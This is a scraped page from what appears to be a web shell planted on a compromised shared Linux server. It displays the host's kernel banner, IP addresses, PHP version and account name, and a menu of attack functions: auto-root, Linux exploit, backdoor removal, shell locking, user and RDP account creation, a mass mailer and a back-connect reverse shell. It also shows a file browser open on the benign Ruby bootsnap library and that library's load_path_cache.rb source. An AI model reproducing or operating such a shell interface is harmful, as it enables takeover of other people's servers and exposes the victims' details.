Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
bootsnap /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
compile_cache
[ DIR ]
drwxr-xr-x
load_path_cache
[ DIR ]
drwxr-xr-x
bundler.rb
282
B
-rw-r--r--
cli.rb
7.82
KB
-rw-r--r--
compile_cache.rb
1.66
KB
-rw-r--r--
explicit_require.rb
1.45
KB
-rw-r--r--
load_path_cache.rb
2.1
KB
-rw-r--r--
setup.rb
86
B
-rw-r--r--
version.rb
70
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : load_path_cache.rb
# frozen_string_literal: true module Bootsnap module LoadPathCache ReturnFalse = Class.new(StandardError) FallbackScan = Class.new(StandardError) DOT_RB = '.rb' DOT_SO = '.so' SLASH = '/' # If a NameError happens several levels deep, don't re-handle it # all the way up the chain: mark it once and bubble it up without # more retries. ERROR_TAG_IVAR = :@__bootsnap_rescued DL_EXTENSIONS = ::RbConfig::CONFIG .values_at('DLEXT', 'DLEXT2') .reject { |ext| !ext || ext.empty? } .map { |ext| ".#{ext}" } .freeze DLEXT = DL_EXTENSIONS[0] # This is nil on linux and darwin, but I think it's '.o' on some other # platform. I'm not really sure which, but it seems better to replicate # ruby's semantics as faithfully as possible. DLEXT2 = DL_EXTENSIONS[1] CACHED_EXTENSIONS = DLEXT2 ? [DOT_RB, DLEXT, DLEXT2] : [DOT_RB, DLEXT] class << self attr_reader(:load_path_cache, :loaded_features_index, :realpath_cache) def setup(cache_path:, development_mode:) unless supported? warn("[bootsnap/setup] Load path caching is not supported on this implementation of Ruby") if $VERBOSE return end store = Store.new(cache_path) @loaded_features_index = LoadedFeaturesIndex.new @realpath_cache = RealpathCache.new @load_path_cache = Cache.new(store, $LOAD_PATH, development_mode: development_mode) require_relative('load_path_cache/core_ext/kernel_require') require_relative('load_path_cache/core_ext/loaded_features') end def supported? RUBY_ENGINE == 'ruby' && RUBY_PLATFORM =~ /darwin|linux|bsd|mswin|mingw|cygwin/ end end end end if Bootsnap::LoadPathCache.supported? require_relative('load_path_cache/path_scanner') require_relative('load_path_cache/path') require_relative('load_path_cache/cache') require_relative('load_path_cache/store') require_relative('load_path_cache/change_observer') require_relative('load_path_cache/loaded_features_index') require_relative('load_path_cache/realpath_cache') end
Close